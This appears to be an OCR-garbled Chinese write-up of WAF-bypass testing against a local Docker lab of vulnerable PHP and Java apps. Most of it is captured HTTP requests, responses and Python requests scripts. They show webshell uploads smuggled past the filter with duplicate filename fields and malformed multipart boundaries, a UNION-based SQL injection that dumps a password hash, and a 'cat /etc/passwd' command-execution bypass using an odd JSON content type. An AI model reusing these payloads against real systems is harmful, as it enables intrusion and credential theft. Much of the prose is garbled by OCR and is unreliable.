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Request Response u
Raw Hex \n = Pretty Raw Hex Render Marklinfo no =
1 POST /upload HTTP/1.1 1 HTTP/1.1 403 Forbidden
2 User—Agent: PostmanRuntime/7.36.0 2 Date: Tue, 16 Apr 2024 08:52:12 GMT
3 Host: 170.170.22.209 3 Content-Type: text/html
4 Content-Type: multipart/form-data; 4 Content-Length: 17766
boundary= 901834430261854491673984 5 Connection: keep-alive
5 Content-Length: 290 6 ETag: "661le3c2f-4533"
6 7 Set-Cookie: sl-session=6zWud7yNH2b5WsbyosBTUw==; Path=/; Max-Age=86400; HttpOnly
7 901834430261854491673984 8
8 Content-Disposition: form-data; name="file"; filename="123.php" 9
9 Content-Type: application/x—httpd—php] 10 <!DOCTYPE html>
10 11
11 X LERBEFwebshe LA (HEER) BHE, HWATER 12 <html lang="zh">
12 901834430261854491673984—— 13 <head>
14 <meta charset="utf-8" />
15 <meta name="viewport" content="width=device-width,initial-scale=1" />
16 <title>
ERFERRD, THRER
</title>

I E Content-Dispositionsk, WAFIEENEE —Hifilename, FiRIEEE—HFfilename, RLINGITWAFH E1EphpXX it




Request
Pretty Raw Hex
1 POST /upload HTTP/1.1
2 User-Agent: PostmanRuntime/7.36.0
3 Host: 170.170.22.209
4 Content-Type: multipart/form-data;
boundary= 901834430261854491673984

Content-Length: 448
901834430261854491673984
Content-Disposition: form-data; name="file"; filename="123.php"
Content-Type: application/x-httpd-php
901834430261854491673984
Content-Disposition: form-data; name="file"; filename="123.png"
Content-Type: application/x-httpd-php

Xt LERB R Twebshe \IRF (HFESR) B, LATER
901834430261854491673984—-

X Sfilenamefgi= FIAGE (R R AEE EMSREXBUR TRuLWebN R AYSEINIZEE)

Request

Pretty Raw Hex

1 POST /upload HTTP/1.1

2 User—Agent: PostmanRuntime/7.36.0
3 Accept: */%

4 Host: 170.170.22.209

5 Accept-Encoding: gzip, deflate, br
6 Connection: close

7 Content-Type:

multipart/form-data;boundary=

8 Content-Length: 291

9

10 901834430261854491673984

11 Content-Disposition: form-data; name="file"; filename=="123.php"
12 Content-Type: application/x-httpd-php

13

14 X FHERABSEFwebshe llRX (HEER) BH, LAFER

901834430261854491673984——

Javaifi 2.jspXX{F L&
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Request
Pretty Raw Hex =
1 POST /upload HTTP/1.1
2 Host: 170.170.22.209:8003
3 Content-Length: 291
4 Content-Type: multipart/form-data;
boundary= 901834430261854491673984
5 Connection: close
6
7 901834430261854491673984
8 Content-Disposition: form-data; name="file"; filename="1.jsp"
9 Content-Type: application/octet-stream
10
11 Xt EERABETwebshe IR (HERR)EE, WFER
12 901834430261854491673984——
13
=3 XX AN
fEboundary=l=/RINHIRRF . =AE8F I LAGII X FERAIHQN
Request
Pretty Raw Hex =
1 POST /upload HTTP/1.1\r \n
2 Host: 170.170.22.209:8003 \r \n
3 Content-Length: 291 \r \n
4 Content-Type: multipart/form-data; boundary
901834430261854491673984 \r \n
5 Connection: close\r \n
6 \r \n
7 901834430261854491673984 \r \n
8 Content-Disposition: form-data; name="file"; filename="1.jsp" \r \n
9 Content-Type: application/octet-stream\r \n

\r \n
X LERBRETwebshe L1RR (HEER) BE, LAFERE \r \n
901834430261854491673984—— \r \n
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ZRAENT:

IP:8001 php5.xRERE
/rce_get?cmd=1s
/rce_post cmd=1s
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Response
\n = Pretty Raw Hex Render = N =
1 HTTP/1.1 200 OK
2 Date: Tue, 16 Apr 2024 ©8:53:51 GMT
3 Content-Type: text/html; charset=UTF-8
4 Content-Length: 6@
5 Connection: keep-alive
6 Set-Cookie: sl-session=8eSbVx+0H2bmX4zs1Iz8pA==; Path=/; Max-Age=86400; HttpOnly
7
8 File has been uploaded: /uploads/661e3c9f805186.41240658.php
==
Response
\n = Pretty Raw Hex Render = BRI
1 HTTP/1.1 200 OK
2 Date: Tue, 16 Apr 2024 10:51:12 GMT
3 Content-Type: text/html; charset=UTF-8
4 Content-Length: 60
5 Connection: close
6 Set-Cookie: sl-session=rN1tb6CpH2bi5C/J9KP60Q==; Path=/; Max-Age=86400; HttpOnly
7
8 File has been uploaded: /uploads/661e5820d88527.75397267.php

901834430261854491673984

Response

Pretty

Raw

HTTP/1.1 403
Date: Tue, 1

Content-Leng
Connection:
ETag: "661e3
Set-Cookie:

O~V AWN

<!DOCTYPE ht

<html lang="
<head>
<meta ch
<meta na
<title>

Content-Type:

Hex Render MarkInfo

Forbidden
6 Apr 2024 ©8:57:59 GMT
text/html
th: 17766

close
d79-4533"

sl-session=y@oBFRePH2ZYB2sKivMa5A==; Path=/; Max-Age=86400; HttpOnly

ml>
zh">

arset="utf-8" />

me="viewport" content="width=device-width,initial-scale=1" />

ERFERR, SHzE

</title>

Response

o~NOU A WN

B fwaf (@

Pretty

Raw

HTTP/1.1 200
Date: Tue, 16
Content-Type:

Content-Length:

cl
3

Connection:
Set-Cookie:

File uploaded

FIIWAF . 400ASBE 4

\

dgolang3LHj,

Hex Render

Apr 2024 08:58:45 GMT

text/plain;charset=UTF-8

76

ose

1-session=SDGKCUWPH2aFARBGjJBy3A==; Path=/; Max-Age=86400; HttpOnly

successfully: uploads/39b6b64c-0839-49ec-81d3-efd4cdb8d30e.jsp
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/rce_json {"cmd":"1s"}
/upload

/sqli_get?id=1

/sqli_post =1
/sqli_json  {"id":™1"}

IP:8002 php7.x/FmEMIE
/rce_get?cmd=1s

/rce_post cmd=1s
/rce_json {"cmd":"1s"}
/upload

/sqli_get?id=1

/sqli_post =1

/sqli_json  {"id":"1"}

IP:8003 javaimEifiE
/rce_get?cmd=1s

/rce_post cmd=1s
/rce_json {"cmd":"1s"}
/upload

/sqli_get?id=1

/sqli_post =1

/sqli_json  {"id":"1"}

IP:9001 WAFRA#°8001i%O/YRAFE
IP:9002 WAFRA8002i% O/ RAFE
IP:9003 WAFB51F8003i% O8iRiEFIE

: $ docker ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
[’}
0
[’}

dde5017331c6é wafproto_gowaf "/bin/bash -c¢ /root/." 44 minutes ago Up 44 minutes 0.0.0.0:

4670d37fc8f6 wafproto_web_php_5 "docker-php-entrypoi.." 44 minutes ago Up 44 minutes 0.0.0.0:8001—>80/tcp, :::8001-=80/tcp web_php_5
c@9f707e922f wafproto_web_php_7 "docker-php-entrypoi.." 44 minutes ago Up 44 minutes ©0.0.0.0:8002—80/tcp, :::8002->80/tcp web_php_7
1885c4c19bed wafproto_web_java "catalina.sh run" 44 minutes ago Up 44 minutes 0.0.0.0:8003—>8080/tcp, :::80@3->8080@/tcp web_java

9001-9003—>9001-9003/tcp, :::9001-9003—9001-9803/tcp wafproto_gowaf_1

71547cb2f543 wafproto_mysql "docker-entrypoint.s.." 44 minutes ago Up 44 minutes 0.0.0.0:3306—>3306/tcp, :::3306—>3306/tcp, 33060/tcp wafproto_mysql_1

& T ALANRRWAFS, EFRIABITEREE At FF R (ModSecurity, Safeline)si & B WAF#{TIE, IAFKEEFNME.
(2) BERFLSOIMHTTPINGIEK, ERTZEH python requestsi@BFIHTTPEEX ISR, EFRNKFHIERBITERFTNT S, USTWAF,

PYUNSED SR

Request Response u
Raw Hex Marklnfo \n = Raw Hex Render \n
1 POST /sqli_post HTTP/1.1 1 HTTP/1.1 403 Forbidden
2 Host: 170.170.22.206:9001 2 Content-Type: text/plain; charset=utf-8
3 Content-Length: 64 3 X-Content-Type-Options: nosniff
4 Content-Type: application/x-www—form-urlencoded 4 Date: Tue, 16 Apr 2024 09:09:36 GMT
5 Connection: close 5 Content-Length: 10
6 6 Connection: close
7 id=1+UNION+SELECT+null1%2C+password+FROM+users+WHERE+id+%3D+1+——+ 7
8 Forbidden
9

FREUTRMIBERAN, HIAFEITEFHITRERN

POST /sqli_post HTTP/1.1

Host: 170.170.22.206:9001

Content-Length: 64

Content-Type: application/x-www—form—urlencoded
Connection: close

=1+UNION+SELECT+null%2C+password+FROM+users+WHERE+1d+%3D+1+——+

import requests

headers = {
'Host': '170.170.22.206:9001"',

'Content-Type': 'application/x-www—form—urlencoded',
'Connection': 'close',

data = {
'id': 'l UNION SELECT null, password FROM users WHERE id =1 — ',



i%

response = requests.post('http://170.170.22.206:9001/sqli_post', headers=headers, data=data, verify=False)

F A AT T RER S M GIWAF

¥&application/x-www-form-urlencoded& 1 A multipart/form-dataf+& =, fSimEIFERT DAREMT

Request

Pretty Raw Hex Marklinfo

SOV EWN=

~

8
9
10

12

FboundaryZEie N =,

POST /sqli_post HTTP/1.1
Host: 170.170.22.206:9001
Content-Length: 190

Content-Type: multipart/form-data; boundary=——--WebKitFormBoundarymy®81lugHS8hK61MC

Connection: close

—————— WebKitFormBoundarymy@81lugHS8hK61MC
Content-Disposition: form-data; name="id"

1 UNION SELECT null, password FROM users WHERE id =
—————— WebKitFormBoundarymy@8lugHS8hK61MC——

Request

Pretty Raw Hex MarkInfo

1
2
3
4
5
6
7
8

9
10
11
12

POST /sqli_post HTTP/1.1
Host: 170.170.22.206:9001
Content-Length: 114

Content-Type: multipart/form-data;
Connection: close

Content-Disposition: form-data; name="id"

1 —

RINGE, HEinfARIRIEANZIESYE

ON SELECT null, password FROM users WHERE id = 1 --

BT ERAH:

Request

Pretty Raw Hex MarklInfo

W

POST /rce_json HTTP/1.1
Host: 170.170.22.206:9001
Content-Length: 25

User—Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Connection: close

{

"cmd":"cat /etc/passwd"

H

POST /rce_json HTTP/1.1
Host: 170.170.22.206:9001
Content-Length: 25

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Connection: close

{"cmd":"cat /etc/passwd"}

import requests

headers = {
'"Host': '170.170.22.206:9001"'

Response
Pretty Raw Hex Render
1 HTTP/1.1 483 Forbidden
2 Content-Type: text/plain; charset=utf-8
3 X-Content-Type-Options: nosniff
4 Date: Tue, 16 Apr 2024 09:09:36 GMT
5 Content-Length: 10
6 Connection: close
7
8 Forbidden
9
Response

Pretty Raw Hex Render

1 HTTP/1.1 266 OK
2 Content-Type: text/html; charset=UTF-8
3 Date: Tue, 16 Apr 2024 09:14:11 GMT
4 Server: Apache/2.4.25 (Debian)
5 Vary: Accept-Encoding
6 X-Powered-By: PHP/5.6.40
7 Connection: close
8 Content-Length: 72
9
10 id: 1 - Name: admin<br>
id: - Name: 4d2e58c872d529fbald14ba@949b644d<br>
Response
Pretty Raw Hex Render
1 HTTP/1.1 403 Forbidden
2 Content-Type: text/plain; charset=utf-8
3 X-Content-Type-Options: nosniff
4 Date: Tue, 16 Apr 2024 @9:17:50 GMT
5 Content-Length: 1@
6 Connection: close
7
8 Forbidden
9

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/123.0.0.0 Safari/537.36"',

'Content-Type': 'application/json',

'Connection': 'close',

json_data = {
'emd': 'cat /etc/passwd',

response = requests.post('http://170.170.22.206:9001/rce_json', headers=headers, json=json_data, verify=False)
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Request Response
Pretty Raw Hex Marklnfo \n = Pretty Raw Hex Render = B
1 POST /rce_json HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 170.170.22.206:9001 2 Content-Type: text/html; charset=UTF-8
3 Content-Length: 25 3 Date: Tue, 16 Apr 2024 09:19:11 GMT
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 4 Server: Apache/2.4.25 (Debian)

(KHTML, 1like Gecko) Chrome/123.0.0.0 Safari/537.36 5 Vary: Accept-Encoding
5 Content-Type: application/x-something-json 6 X-Powered-By: PHP/5.6.40
6 Connection: close 7 Connection: close
7 8 Content-Length: 930
8 { 9

"cmd":"cat /etc/passwd" 10 <pre>
¥ root:x:0:0:root:/root:/bin/bash

11  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
12 bin:x:2:2:bin:/bin:/usr/sbin/nologin

13 cugry*qve fdev: /uer/chin/nnlnain

% TIRE

ERE SN IR R ARWAF(ZWAF ., BREWAFEF)RGIP, 40t SEREE R ARG, EFMaER TR #ITET RS,

e HTTPE requests TeBR iR IR s

import requests
headers = {

POST /rce_json HTTP/1.1 '‘Host": 'waf:9001",

Host: waf:9001 ‘Content-Type": 'application/json’,

Content-Length: 25 ‘Connection’: 'close’,

1 Content-Type: application/json } http://nowaf:9001
Connection: close json_data = {

‘cmd’; "cat /etc/passwd’,
{"emd™"cat /etc/passwd'} }
requests.post('http://waf:9001/rce_json’,
headers=headers, json=json_data, verify=False)

Import requests
headers = {
'‘Host": 'waf:9001",
# 'Content-Length": '64",
‘Content-Type': ‘application/x-www-form-

POST /sqli_post HTTP/1.1
Host: waf:9001
Content-Length: 64 ,
L urlencoded’,
Content-Type: application/x-www-form- Connection" ‘dose’
2 urlencoded ' ' http://nowaf:9001

Connection: close J

data = {
d=1+UNION+SELECT+nullé2C+password+ - -+ N O SELECT null password FROM users
FROM+users+WHERE+id+%3D+1+--+ } a '

requests.post('http://waf:9001/sqli_post’,
headers=headers, data=data, verify=False)

100
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